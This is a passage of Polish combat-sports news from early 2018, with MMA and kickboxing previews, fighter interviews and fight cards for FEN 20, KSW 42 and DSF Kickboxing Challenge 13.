Warto dodać, że Cormier wywodzi się z zapasów. Zajął czwarte miejsce na Igrzyskach Olimpijskich w Atenach, pięciokrotnie zdobywał mistrzostwo USA. W związku z wypowiedzią Cormiera do tablicy poczuł wywołany się Jan Błachowicz. Polak odpowiedział Amerykaninowi w mediach społecznościowych. –  Dziękuję za twój "szacunek". Prawdą jest, że kiedy będę walczył z tobą, będziesz szukał obaleń… na kolanach już od szatni – napisał zawodnik pochodzący z Cieszyna. Ciekawe, czy ta wymiana będzie kontynuowana? A może za kilka miesięcy pojawi się temat walki Polaka i Amerykanina?

Bieżące plany

Zarówno Cormier, jak i Błachowicz mają zaplanowane najbliższe pojedynki. Amerykanin w starciu mistrzowskim zmierzy się ze Stipe Miocicem. Walka odbędzie się 7 lipca podczas gali UFC 226 w Las Vegas.

Z kolei Jan Błachowicz, który cztery lata temu podpisał umowę z najlepszą organizacją MMA na świecie, szykuje się do rewanżu z Jimim Manuwą. Polak uległ Anglikowi podczas gali UFC Fight Night 64 w Krakowie. 17 marca w Londynie Błachowicz będzie chciał odnieść trzecie zwycięstwo z rzędu. Jeśli mu się uda, jego akcje pójdą w górę i awansuje do grona najlepszych w kategorii półciężkiej.

KM

Ziółkowski przed FEN 20: Walka o pas w Warszawie to dla mnie życiowa szansa

Marian Ziółkowski (17-5, 3 KO, 12 SUB) zmierzy się z Mateuszem Rębeckim (5-1, 4 SUB) podczas gali FEN 20 "Next Level". Stawką w tym starciu będzie pas mistrzowski federacji w kategorii lekkiej. Co słychać u popularnego "Golden Boy'a"? W jakiej jest formie sześć tygodni przed walką? Zapraszamy do przeczytania rozmowy!

Tryskasz humorem, u ciebie chyba w porządku, prawda?

Marian Ziółkowski: Tak, zdecydowanie. Wszystko idzie zgodnie z planem, nie mam prawa na co narzekać. Przygotowania idą jak po sznurku, wróciłem z Brazylii i czekam na kolejne jednostki treningowe oraz sparingi. Zdrówko dopisuje, to najważniejsze, stopniowo jestem coraz lepszy, a to dopiero początek. Zostało sześć tygodni do walki i już nie mogę się doczekać.

Czujesz ekscytację? 

MZ: Na pewno, To jak do tej pory mój najważniejszy pojedynek w karierze. Stoczę walkę w Warszawie, czyli swoim mieście, będę mógł na własnej ziemi zdobyć pas mistrzowski federacji, która sporo znaczy w mieszanych sztukach walki. Cieszę się, że moje starania zostały wynagrodzone i będę mógł pokazać się z jak najlepszej strony.

Dużo osób zastanawia się, jak ten pojedynek będzie wyglądał. Mateusz Rębecki jest od ciebie duży niższy, będziesz miał ogromną przewagę, jeżeli chodzi o zasięg.

MZ: To prawda, trudno bedzie Mateuszowi znaleźć sparingpartnera o podobnych gabarytach. To będzie mój atut, grzechem byłoby nie chcieć z tej przewagi skorzystać.

A może to będzie twoja bolączka? Rębecki będzie doskonale wiedział, na co musi zwrócić uwagę.

MZ: Niech Mateusz układa to sobie w głowie tak, jak chce – to jego sprawa. Mniejsi zawodnicy mają to do siebie, że są szybsi, w ten sposób będą chcieli ewentualne braki maskować. Do tego dochodzi walka w półdystansie, siła – to wszystko ma znaczenie.

Nad siłą pracujesz?

MZ: Tak, pracuję, muszę być gotowy na wszystkie ewentualności. Dziwnie to brzmi, ale ja po raz pierwszy w życiu wziąłem kreatynę. Trenuje, również siłowo, jestem coraz starszym zawodnikiem i muszę robić wszystko, żeby być coraz bardziej uniwersalnym fighterem.

Nad szybkością też musisz pracować.

MZ: Jestem szybki, zawsze byłem. Nawet, gdy walczyłem z Romanem Szymańskim, to on nie mógł mnie trafić w stójce – może z raz otrzymałem od niego cios. Mateusz może być ode mnie bardziej dynamiczny, ale szybszy ode mnie nie będzie.

Ile ty ważysz dzisiaj?

MZ: Około 77 kilogramów, czasami nawet 75 – nie mam dużo do zbijania. Bez żadnego problemu zmieszczę się w limicie – nigdy nie miałem z tym problemu.

Matusz na co dzień waży więcej.

MZ: Wiem, zdaję sobie z tego sprawę. Nie zajmuję się nim – skupiam się na sobie. Niech waży ile chce – to ja wygram 10 marca i zdobędę pas mistrzowski.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Bratkowicz: „On albo ja, jeden na pewno padnie!” || KUBISZYN: „Już powoli rozpalam ogień!”

Robi się bardzo gorąco przed sobotnią galą DSF Kickboxing Challenge 13! Za sprawą tej imprezy Hala Orbita we Wrocławiu stanie się areną zmagań najlepszych fighterów w Europie. W walce wieczoru Maksymilian Bratkowicz zmierzy się po raz drugi z Mateuszem Kubiszynem. Zwycięzca pojedynku pomiędzy dwoma mistrzami świata zostanie pierwszym w historii federacji czempionem wagi średniej (-86 kg).

To klasyczne starcie byka z matadorem. Bykiem jest w tym zestawieniu piekielnie silny i uparty Bratkowicz. Matadorem – sprytny i wszechstronny Kubiszyn. Brutalność K-1 spotka się z finezją Full Contactu. Szanse rozkładają się 50-50. Obaj zawodnicy biją i kopią szalenie mocno, o czym w 2017 roku przekonało się wielu rywali.

Zobacz zapowiedź walki Bratkowicz-Kubiszyn II >>>

W ostatnich kilkunastu miesiącach 25-letni Maksymilian Bratkowicz rozwinął się w fenomenalny sposób. Niekonwencjonalne techniki, instynkt zabójcy i nokautujący cios doprowadziły go do złotego medalu na mistrzostwach świata K-1 w Budapeszcie. Teraz Maks ma tylko jeden cel – zrewanżować się Kubiszynowi za minimalną porażkę z grudnia 2016.

– Byk ostrzy rogi! Nigdy nie byłem tak dobrze przygotowany do walki. Jestem gotowy na 5 rund ostrej bitki – zapewnia wrocławianin. – Albo ja, albo on. Jeden na pewno padnie. Wszyscy wiedzą, że walczę do upadłego i zawsze pokazuję serce. Przyjdźcie do Hali Orbita i zobaczcie nowego mistrza wagi średniej!

Również Mateusz Kubiszyn jest dziś innym zawodnikiem niż podczas pierwszego starcia z Maksem. Z walki na walkę „Don Diego” jest coraz pewniejszy w formule K-1, choć największy dotychczasowy sukces (tytuł mistrza świata z 2015 roku) zdobył w Dublinie w Full Contakcie. Teraz zawodnik reprezentujący klub KKS Sporty Walki Poznań czuje się gotowy do pojedynku o pas federacji DSF Kickboxing Challenge.

Zobacz najlepsze nokauty na galach DSF Kickboxing Challenge >>>

– Walka mistrzowska wymaga zupełnie innego nastawienia mentalnego. Będzie trzeba umiejętnie rozkładać siły na 5 rund, ale jestem przygotowanyMaks ma w jednym rację, kibice zobaczą nowego mistrza. Życzę mu, żeby zostawił w ringu całego siebie. Czy będzie ogień? Na pewno, ja już powoli go rozpalam – zapewnia 26-letni Kubiszyn. – Niedługo będę pozdrawiał kibiców z ręką uniesioną ku górze i z nowym pasem mistrzowskim na biodrach!

Walka Bratkowicz-Kubiszyn II to dane główne gali DSF Kickboxing Challenge 13 we Wrocławiu. Stawką będzie pierwszy w historii federacji pas mistrzowski w kategorii średniej (-86 kg). Wcześniej odbędą się dwa pojedynki o tytuły mistrza świata WAKO PRO. W wadze junior półśredniej (-64,5 kg) Eliasz Janowski zmierzy się w K-1 z Białorusinem Yuriyem Zhukovskym, a w królewskiej kategorii ( 94,1 kg) w formule Low Kick polski czempion Michał Turyński będzie bronił swego trofeum w rewanżowym starciu z legendarnym Dzevadem „BH Machine” Poturakiem z Bośni i Hercegowiny. Wcześniej w DSF Kickboxing Challenge zadebiutuje znakomity Paweł Biszczak – do niedawna mistrz FEN. Po raz pierwszy w federacji wystąpią również m.in. Róża Gumienna oraz Dawid Żółtaszek, który nigdy wcześniej nie walczył w Polsce.

Zobacz zapowiedź walki Turyński-Poturak II >>>

Transmisję z gali DSF Kickboxing Challenge 13 z Hali Orbita we Wrocławiu przeprowadzi od godziny 20:00 telewizja Canal SportPoza granicami Polski kibice będą mogli oglądać imprezę całkowicie za darmo za pośrednictwem platformy DSFLIVE.com. Bilety w cenie od 40 PLN są dostępne na ticketclub.pl.

""

Ważne informacje dla dziennikarzy:

CEREMONIA WAŻENIA odbędzie się w Novotel Wrocław Centrum w piątek (2 lutego) o godzinie 10:00.

WNIOSKI O AKREDYTACJE prosimy przesyłać do środy 31 stycznia na adres pr@dsfchallenge.com.

Biszczak: W DSF będę dawał z siebie wszystko

3 lutego we wrocławskiej hali Orbita odbędzie się gala DSF Kickboxing Challenge 13. Jedną z gwiazd będzie Paweł Biszczak, który zadebiutuje w federacji Sławomira Duby. Naprzeciw 32-letniego fightera stanie Abdallah Mabel.

Transfer roku

Przejście Pawła Biszczaka do DSF to duże wydarzenie. 2018 rok federacja rozpoczęła z przytupem i podpisała umowę z zawodnikiem, który zdobywał mistrzostwo Polski w K-1 i zawodowe mistrzostwo Europy WKN. Ostatnio Biszczak związany był z federacją FEN, gdzie zasiadał na tronie wagi półśredniej. – FEN będę zawsze dobrze wspominać. Myślę, że nasza współpraca była oparta na przynoszeniu obopólnych korzyści dla jednej i drugiej strony. Swoją osobą wnosiłem wiele  sportowych emocji. Na gale FEN przyjeżdżali moi fani, za co im z góry dziękuje, bo to dla mnie duże wsparcie. Zaś FEN dawał mi możliwość pokazania się na zawodowych galach w Polsce – podaje FighTime.pl Paweł Biszczak.

Prezes DSF Kickboxing Challenge Sławomir Duba otwarcie przyznaje, że nowy nabytek ma potencjał, aby stać się zawodnikiem na miarę takich legend jak Marek Piotrowski i Piotr Siegoczyński. Poprzeczka przed Biszczakiem jest zawieszona wysoko. Już sam fakt, że jego przejście do DSF określane jest jako „transfer roku” wywiera na nim dodatkową presję. Biszczak podkreśla, że jest gotów na kolejne wyzwania. – Może to zabrzmi nieskromnie, ale nie mam z tym żadnego problemu. Jestem sportowcem z krwi i kości. Dla mnie w tym wszystkim najważniejszy jest sport. Nie traktuję tego w kategorii „transfer roku”. Coś się kończy i coś zaczyna. W DSF będę dawał z siebie wszystko, podobnie jak wcześniej kiedy startowałem w zawodach i kiedy wchodziłem do ringu, nie tylko w FEN. DSF jest dla mnie czymś nowym, co zwiększa moją motywację do działania. Do każdej walki przygotowuję się na 100% i tak będzie w DSF. Dodatkowo, wiem, że w Federacja DSF Kickboxing Challenge stawia na naprawdę mocnych sportowców i przede wszystkim to mnie skłoniło do zawarcia współpracy – tłumaczy Biszczak.

Czas na debiut

3 lutego oczy wszystkich będą zwrócone na Pawła Biszczaka. Karta walk prezentuje się imponująco, ale debiut 32-latka w DSF przyciąga uwagę. – To walka na swoim terenie, pochodzę z Dolnego Śląska i tu przyjeżdża do mnie najwięcej moich kibiców. Mam nadzieję, że będzie tak  i tym razem.  Obecność moich fanów, kolegów, rodziny tylko mnie bardziej motywuje do działania. W dniu walki staram się wyciszyć, ale jak idę do ringu i słyszę wsparcie to tylko dodaje mi większego powera, choć wtedy ciężko słyszeć narożnik. A poza tym miejscowość, w której walczę nie ma żadnego znaczenia to nie o to chodzi – wyjaśnia zawodnik z Legnicy.

Fot. Paweł Biszczak Official Fanpage

KM

Wiadomo coraz więcej

3 marca, już po raz piąty, Konfrontacja Sztuk Walki będzie gościła w łódzkiej Atlas Arenie. Organizacja odkrywa kolejne karty. Hitem ma być starcie Mameda Khalidova z Tomaszem Narkunem, gromy mogą posypać się w pojedynku Mateusza Gamrota z Grzegorzem Szulakowskim. Do debiutu szykują się Karolina Owczarz, Paulina Raszewska i Bartłomiej Kopera.

Polecą gromy?

Po raz pierwszy łódzka Atlas Arena gościła zawodników KSW we wrześniu 2010 roku. Na gali numer 14 Przemysław Saleta pokonał Marcina Najmana, a Mariusz Pudzianowski wygrał z Ericem Eschem. Właśnie w Łodzi po mistrzowski pas w kategorii półciężkiej sięgnął Jan Błachowicz (KSW 17), a Michał Materla został królem wagi średniej (KSW 19). 3 marca w Łodzi odbędzie się już 42 gala KSW, podczas której zaprezentują się czołowi zawodnicy organizacji.

Na myśl o walce wieczoru niektórym „cieknie ślinka”. Starcie mistrzów: Mameda Khalidova i Tomasza Narkuna ma być esencją tego, co najlepsze w polskim MMA. Obaj potrafią w niekonwencjonalnym sposób zakończyć pojedynek, są mistrzami w swoich kategoriach wagowych. Narkun ostatnich pięć walk kończył już w pierwszej rundzie, zaś Khalidov jeszcze nigdy nie przegrał w KSW.

Michał Materla przez długi czas musiał walczyć, jednak nie w oktagonie, a o wyjście na wolność. W końcu kibice mogli go podziwiać podczas KSW 40 w Dublinie, gdzie w drugiej rundzie zasypał ciosami Paulo Thiago i odniósł 25 zwycięstwo w karierze. W Łodzi rywalem Materli będzie Scott Askham, który ma doświadczenie z rywalizacji w UFC. W amerykańskiej organizacji przegrał m.in. z Krzysztofem Jotko. Ostatnio, na gali ACB 70, pokonał Luke’a Barnatta.

Nadszedł czas na rewanż. Tak z pewnością myśli Łukasz Jurkowski, który przygotowuje się do starcia z Martinem Zawadą. Polak przegrał z Niemcem na KSW 6. 34-letni Zawada wygrał dwie z ostatnich trzech walk. Ale poprzednie lata w jego wykonaniu to istna sinusoida. Z kolei Jurkowski powrócił do rywalizacji po sześcioletniej przerwie i na gali na PGE Narodowym pokonał Rameau Thierry’ego Sokoudjou.

W Łodzi pasa mistrzyni kategorii muszej będzie broniła Ariane Lpiski. 24-letnia Brazylijka nadal czeka na nazwisko rywalki. Ciekawie zapowiada się rywalizacja o pas wagi lekkiej. Mateusz Gamrot zmierzy się z Grzegorzem Szulakowskim. Wokół ostatniej walki czempiona wagi lekkiej było mnóstwo zamieszania. Najpierw Norman Parke nie zrobił wagi, a później doszło do awantury podczas pojedynku. Obaj zawodnicy zostali ukarani. Teraz Gamrot musi skoncentrować się na kolejnej obronie pasa mistrzowskiego i powstrzymać rozpędzonego Grzegorza Szulakowskiego. Urodzony w Namysłowie zawodnik wygrał wszystkie cztery walki w KSW, a ostatnio (KSW 41) efektowną skrętówką poddał Kamila Szymuszowskiego.

Na KSW 42 odbędzie się pojedynek Marcina Wójcika z doświadczonym Irlandczykiem Chrisem Fieldsem.

Debiuty

3 marca na gali KSW 42 nie może zabraknąć pięknych pań. Będzie Ariane Lipski, a po raz pierwszy w oktagonie zaprezentują się Karolina Owczarz i Paulina Raszewska. Pierwsza to była bokserka, a do niedawna dziennikarka sportowa. Jej rywalką będzie Paulina Raszewska, która ma spore doświadczenie w sportach walki. Trenerka KSW Cross Fight Gym ma na swoim koncie m.in. mistrzostwa Polski w sandzie.

Po raz pierwszy w KSW zaprezentuje się Bartłomiej Kopera. 25-latek z Łodzi ma za sobą przygodę z federacją FEN, w której wygrał trzy walki. W Łodzi Kopera zmierzy się z Filipem Wolańskim.

Fot. Mateusz Gamrot Facebook

KM

Kowalewicz do Jordanii po pas

Przed Jakubem Kowalewiczem daleka podróż. 2 marca polski zawodnik MMA zaprezentuje się na gali Brave 10: The Kingdom Raises. Kowalkiewicz zmierzy się z Eliasem Boudegzdamem o pas wagi piórkowej.

24-latek, mający za sobą występy na galach KSW i FEN, nie będzie jedynym Polakiem, który wystąpi w Jordanii. Debiut w organizacji Brave zaliczy Paweł Kiełek.

Podróż po pas

Na początek dwa słowa o organizacji Brave. Powstała ona półtora roku temu w Bahrajnie. Dotychczas odbyło się dziewięć gal organizacji Brave.

Z dala od domu przyjdzie stoczyć Jakubowi Kowalewiczowi najważniejszą walkę w dotychczasowej karierze. 24-latek stanie przed szansą zdobycia pasa mistrzowskiego. Prawo do rywalizacji o tytuł zdobył w kwietniu 2017 roku, kiedy to na gali Brave 5 w Indiach na dystansie trzech rund okazał się lepszy od Alexa da Silvy. Była to trzecia wygrana Kowalewicza z rzędu. Wcześniej w pierwszych rundach Polak odprawił kolejno: Daniela Chrzanowskiego (gala WCA 2) i Leonida Smirnova (WCA 3). Wcześniej 24-latek z powodzeniem występował na galach KSW. Dla organizacji Martina Lewandowskiego i Macieja Kawulskiego stoczył cztery pojedynki, z których trzy wygrał.

Kowalewicz ma szansę odnieść największy sukces w dotychczasowej karierze. Wydaje się, że zawodnik jest gotowy na czekające go 2 marca wyzwanie. – Oficjalnie ! Gala 2 Marca – Jordania, walka wieczoru i o pas Federacji Brave! Brave Combat Federation dziękuje za tą szansę, zrobię wszystko, aby zabrać pas do Polski! – napisał Kowalewicz na swoim Facebooku.

Na gali w Jordanii Polak zmierzy się z Eliasem Boudegzdamem. 24-letni Francuz ma passę pięciu wygranych z rzędu. W kwietniu 2016 roku na gali Slava Republic 1 – Bojano Boudegzdam pokonał Krzysztofa Klaczka. Ostatnio Francuz, na gali Brave 4, okazał się lepszy od mającego za sobą występy w UFC Meksykanina Masio Fullena. W starciu z Boudegzdamem Kowalewicz musi być niezwykle czujny. Francuz jest do bólu skuteczny w parterze. Dwanaście z czternastu wygranych walk zakończył przez poddanie.

Po dziewiąte zwycięstwo

2 marca w Jordanii zaprezentuje się utalentowany Paweł Kiełek. Ostatnio 22-latek występował na galach organizacji ACB. 1 lipca ubiegłego roku w Ergo Arenie w drugiej rundzie rozbił Ireneusza Szydłowskiego. Wcześniej Kiełek walczył m.in. na galach organizacji Fight Exclusive Night.

W Jordanii Polak zmierzy się z Tyler'em Hillem. 26-letni Amerykanin miał okazję wystąpić na gali Bellator 162, gdzie przegrał z Wade'm Johnsonem.

fot. Kuba Kowalewicz Facebook

KM

Przypatrujemy się Kownackiemu

Od kilku dni w powietrzu unosi się magia nazwiska Kownacki. Adam zwraca na siebie uwagę znakomitą postawą w ringu. Z kolei Dawid Kownacki na piłkarskim boisku coraz śmielej poczyna sobie w barwach Sampdorii Genua.

Obaj znaleźli się pod baczną obserwacją. O młodym piłkarzu wiadomo było, że ma spore możliwości. Z kolei Adam Kownacki przebił błonę anonimowości i wszyscy obserwują każdy kolejny krok pięściarza. Już pojawiają się głosy, że 28-latek jest na dobrej drodze do walki o pas.

Gromi wszystkich

Należyte wykonanie zadania sprawia człowiekowi satysfakcję. W przypadku kariery bokserskiej Adama Kownackiego możemy zaryzykować stwierdzenie, że swoją pracę wykonuje wręcz perfekcyjnie. Siedemnaście walk i wszystkie wygrane, w tym czternaście przed czasem. Miano niepokonanego i ciekawe wizje na przyszłość.

Adam Kownacki miał być dla Artura Szpilki swego rodzaju trampoliną. Po przegranej z Deontayem Wilderem w starciu o pas WBC, „Szpila” długo czekał na rywala. W końcu los skojarzył go z Kownackim. Potencjał pięściarza z Wieliczki oceniano wyżej, a zarazem podkreślano, że w jego przypadku zwycięstwo jest konieczne. Kownacki był gdzieś w tle, ale podkreślał, że znokautuje Szpilkę. Jak powiedział, tak zrobił. W czwartej rundzie mógł cieszyć się z wygranej. To starcie miało być przepustką dla pięściarza urodzonego w Łomży do innego bokserskiego wymiaru.

Po raz kolejny Kownacki pokazał swoją siłę w starciu z Gruzinem Iago Kiladze. Popularny "Babyface" do zwycięstwa potrzebował zaledwie sześciu rund. A to i tak dużo, bo aż trzynaście walk zakończył wcześniej! Dwukrotnie rywale nie przetrwali z Kownackim nawet minuty! Pięściarz przeważnie wygrywa w drugich rundach (sześć razy).Dotychczas trzech rywali przetrwało z Kownackim pełen dystans.

Przyszłość należy do niego?

Kownacki wykonuje dobrą robotę i ma spory potencjał, ale na chłodno trzeba oceniać jego obecne możliwości. Na walkę o pas mistrzowski musi jeszcze poczekać. Po pierwsze, konieczne jest nabycie właściwego doświadczenia. Po drugie, Kownacki ma pewne braki w obronie, które należy wyeliminować. Niektórzy zwracają również uwagę na nadwagę boksera. A to może mieć wpływ na jego kondycję.

Jedno jest jednak pewne. Kownacki potrafi przyłożyć i to jest jego atut, którym będzie straszył kolejnych rywali. Kilku musi jeszcze „położyć”, żeby znaleźć się w gronie kandydatów do mistrzowskich pasów wagi ciężkiej.

Fot. Adam Kownacki Facebook

KM

Wielki rewanż na FEN 20!

Znamy nazwisko zawodnika, z którym zmierzy się Krzysztof Kułak (29-15-2, 7 KO, 15 SUB)  podczas gali Fight Exclusive Night 20 "Next Level". Naprzeciwko częstochowianina zobaczymy Michała Tarabańkę (3-6, 1 KO, 1 SUB).

Kułak to weteran polskiego MMA i jeden z prekursorów mieszanych sztuk walki w naszym kraju. W Warszawie zadebiutuje pod szyldem FEN i zamierza rządzić w kategorii średniej. „Model” jest pewny siebie i deklarował kilka tygodni temu, że może skonfrontować się z każdym przeciwnikiem, a z Tarabańką już raz walczył, w maju 2017 roku, i wygrał przez poddanie w drugiej rundzie. Kułak ma na swoim koncie 29 zwycięstw, z czego aż 15 poddań. Efektowność, z jaką kończy kolejne walki, będzie w Warszawie jego największym atutem.

Tarabańka ostatnim razem w klatce pojawił się właśnie w pojedynku z Kułakiem. Teraz jego celem jest zwyciężenie w rewanżu i pokazanie się z dobrej strony podczas swojego debiutu pod szyldem FEN. W przeszłości zawodnik ten pokonywał takich rywali, jak Łukasz Uliński, Tomasz Dybowski i Yuri Bybochkin. Tarabańka podkreśla, że najlepsze dopiero przed nim, a od Warszawy zacznie swoją drogę na szczyt w kategorii średniej w FEN.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Celiński na pokładzie DSF

W organizacji DSF Kickboxing Challenge pojawił się kolejny znany zawodnik. Kontrakt z federacją podpisał Karol Celiński.

To kolejny „głośny transfer” DSF. Wcześniej umowy z organizacją podpisali Daniel Omielańczuk, Marcin Różalski i Paweł Biszczak.

Ciężkie działa

Można powiedzieć, że organizacja DSF Kickboxing Challenge szaleje. W grudniu na gali w warszawskiej restauracji Champions Sports Bar kibice mogli podziwiać w akcji Daniela Omielańczuka. Zawodnik postanowił wrócić do korzeni i stanąć do rywalizacji w K-1. Jeszcze kilka miesięcy temu śledziliśmy jego pojedynki w organizacji UFC. W Warszawie Omielańczuk, na dystansie trzech rund, wypunktował Oli Thompsona.

3 lutego we Wrocławiu na gali DSF 13 zadebiutuje Paweł Biszczak, który ostatnio występował na eventach Fight Exclusive Night. Nową postacią w organizacji jest również Marcin Różalski. Pierwszą walkę dla DSF popularny "Różal" stoczy 13 kwietnia.

Organizacja Sławomira Duby nadal zbroi się. W piątek, 19 stycznia, kontraktem związał się doświadczony Karol Celiński. – Znakomity Karol "Cebula" Celiński, który wygrywa walkę za walką w federacji @ACB_League, dołącza dziś do najsilniejszej federacji kickbokserskiej w Polsce i będzie walczył zawodowo w K-1! – poinformowała organizacja na Twitterze.

Karol Celiński ma 37 lat. Zawodnik urodzony w Olsztynie szerszej publiczności znany jest z występów w KSW, gdzie stoczył trzy walki. Wygrał tylko jedną, ale starcie Celińskiego z Tomaszem Kondraciukiem zostanie na długo zapamiętane. Ostatnio 37-latek z powodzeniem rywalizował w rosyjskiej organizacji ACB. Celiński zapisał na swoim koncie trzy zwycięstwa. W ostatnim starciu w Moskwie pokonał Maksima Futina w pojedynku, który był eliminatorem do walki o pas w wadze półciężkiej.

Czas na Wrocław

Kolejna gala DSF Kickboxing Challenge odbędzie się już 3 lutego we Wrocławiu. Niemalże tradycją stały się mecze międzypaństwowe. W stolicy Dolnego Śląska Polacy zmierzą się z Czechami. Kibiców czeka pięć emocjonujących walk, w tym debiut Róży Gumiennej, która zmierzy się z Lucie Mlejnkovą.

We Wrocławiu dojdzie do trzech mistrzowskich pojedynków. O pas WAKO Pro w K-1 w kategorii 64,5kg powalczą Eliasz Jankowski i Yuriy Zhukovsky. Niezwykle interesująco zapowiada się starcie Michała Turyńskiego i Dzevada Poturaka. Blisko dwa lata temu Polak odebrał Bośniakowi tytuł mistrza świata WAKO Pro wagi superciężkiej. Głównym wydarzeniem wieczoru będzie starcie Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas DSF w kategorii do 86kg.

KM

Brazylijskie starcie o pas?

Cristiane Justino czeka na drugą obronę pasa mistrzowskiego UFC w kategorii piórkowej.  Możliwe, że 32-letnia Brazylijka zmierzy się ze swoją rodaczką – Amandą Nunes. Na walkę o pas czeka również Joanna Jędrzejczyk, która utraciła tytuł najlepszej w wadze słomkowej na rzecz Rose Namajunas.

Wszystko jest "palcem na wodzie pisane", bo brakuje konkretów. W obu przypadkach "coś w trawie piszczy", a więc obok takich informacji nie można przejść obojętnie.

Wojowniczki z Brazylii

Cristiane Justino nikomu nie trzeba przedstawiać. Brazylijka uchodzi za najlepszą wojowniczkę na świecie i w kolejnych walkach potwierdza swoje umiejętności. W każdej organizacji, w której przyszło jej toczyć boje zostawała mistrzynią. Pas straciła tylko raz, ale nie w oktagonie, lecz przez… doping. W grudniu 2011 roku, jeszcze w Strikeforce, popularna "Cyborg" walczyła z Hiroko Yamanaką. Kilka tygodni później Brazylijka została ukarana, bo badania antydopingowe wykazały obecność stanozololu w jej organizmie. Straciła tytuł, została zdyskwalifikowana i wróciła dopiero w 2013 roku. Szybko podbiła kategorię piórkową w organizacji Invicta. Justino stała się gwiazdą pierwszego planu i naturalne było, że prędzej czy później trafi do UFC.

W najlepszej organizacji MMA na świecie zadebiutowała w maju 2016 roku na gali w Kurytybie. Wygrała już w pierwszej rundzie z Leslie Smith. W lipcu ubiegłego roku pokonała Tonyę Evinger, dzięki czemu sięgnęła po mistrzostwo wagi piórkowej. Od powrotu po wpadce dopingowej, była to jej ósma walka i ósma wygrana przed czasem! Wydawało się, że Justino nikt nie zatrzyma. W grudniu opór stawiła jej Holly Holm, która spędziła w oktagonie pięć rund, ale pas nie był jej dany.

W drugiej obronie tytułu Justino może spotkać się z Amandą Nunes. 29-latka urodzona w Salvadorze jest mistrzynią wagi koguciej. Tytuł wywalczyła w lipcu 2016 roku, kiedy przez duszenie zza pleców w pierwszej rundzie pokonała Meshę Tate. Brazylijka dwukrotnie broniła pasa. Warto dodać, że Nunes ma passę sześciu wygranych z rzędu.

 Starcie Brazylijek stanowiłoby kumulację tego, co najlepsze w kobiecym MMA. W końcu spotkałyby się dwie mistrzynie, jednak na razie poruszamy się na płaszczyźnie przypuszczeń. Portal combate.com podał, że Justino i Nunes miałyby spotkać się 26 maja na gali UFC 224 w Rio de Janeiro.

Kiedy Polka wróci do gry?

Interesujące są również losy pasa wagi słomkowej, który znajduje się w posiadaniu Rose Namajunas. 25-latka niespodziewanie sięgnęła po mistrzostwo pokonując podczas UFC 217 Joannę Jędrzejczyk. Dla Polki była to pierwsza porażka w karierze. Cały czas mówi się o rewanżu. "Jaskółki ćwierkają", że starcie Namajunas z Jędrzejczyk mogłoby się odbyć 7 kwietnia na gali UFC 223. 

KM

DSF Kickboxing Challenge 13: Oto pełna karta walk gali we Wrocławiu – trzy walki o mistrzowskie pasy!

3 lutego najlepszy kickboxing w Polsce zagości we Wrocławiu – kolebce tego sportu nad Wisłą. Na gali DSF Kickboxing Challenge 13 zobaczymy w akcji śmietankę lokalnej sceny kickbokserskiej. Oprócz walk z udziałem miejscowych gwiazd odbędą się aż trzy pojedynki mistrzowskie: dwa o światowy czempionat WAKO PRO i jako główna atrakcja wieczoru – starcie o pierwszy w historii pas DSF Kickboxing Challenge w kategorii do 86 kilogramów. Oto pełna karta walk!

Federacja stworzona przez Sławomira Duba zanotowała w ostatnim czasie kilka bardzo istotnych wzmocnień. W ubiegłym roku dołączyli m.in. Marcin Różalski i Daniel Omielańczuk, a na początku 2018 roku ujawnione zostały kolejne duże transfery.

Na DSF Kickboxing Challenge 13 dojdzie do debiutu kilku zawodników znanych z udanych występów w innych federacjach. Po raz pierwszy na imprezie krajowego lidera zaprezentują się między innymi mistrzowie FEN – Paweł Biszczak (75 kg) oraz Róża Gumienna (65 kg), która zapowiada, że godnie zastąpi Dorotę Godzinę na tronie królowej polskiego kickboxingu.

We Wrocławiu odbędzie się także wyczekiwany debiut w Polsce Dawida Żółtaszka. Kickbokser mieszkający na stałe w Anglii walczy z powodzeniem na całym świecie, lecz nie miał jeszcze okazji pokazać się własnej publiczności. Za sprawą DSF Kickboxing Challenge otrzyma tę szansę w mieście, z którego pochodzi.

– To dla mnie podwójnie ekscytujące wydarzenie. Nie dość, że debiut w Polsce i w federacji DSF Kickboxing Challenge, to jeszcze dojdzie do tego na moim własnym podwórku we Wrocławiu. Już nie mogę się doczekać tej walki. Zapraszam na nią wszystkich kibiców, którzy od dawna chcą mnie zobaczyć na żywo w akcji! – mówi zachwycony Żółtaszek.

W walce wieczoru zmierzy się dwóch amatorskich mistrzów świata. Złoty medalista mistrzostw świata K-1 sprzed dwóch miesięcy Maksymilian Bratkowicz (Gym-Fight Wrocław) postara się zrewanżować Mateuszowi Kubiszynowi (KKS Sporty Walki Poznań) za minimalną porażkę z grudnia 2016 roku. W ciągu kilkunastu miesięcy obaj poczynili ogromne postępy. Kto będzie górą 3 lutego w Hali Orbita we Wrocławiu?

DSF Kickboxing Challenge 13 – KARTA WALK:

Walki w formule K-1 transmitowane przez Player.pl (3 x 3 min)

K-1 (-60 kg) Krystian Bernatowicz vs Dominik Tomica
K-1 (-71 kg) Tomasz Brotoń vs Mateusz Brusiło

Mecz międzynarodowy w K-1: Polska kontra Czechy (5 walk 3 x 3 min)

1. K-1 (-71 kg) Paweł Józefowicz vs Denis Farkas

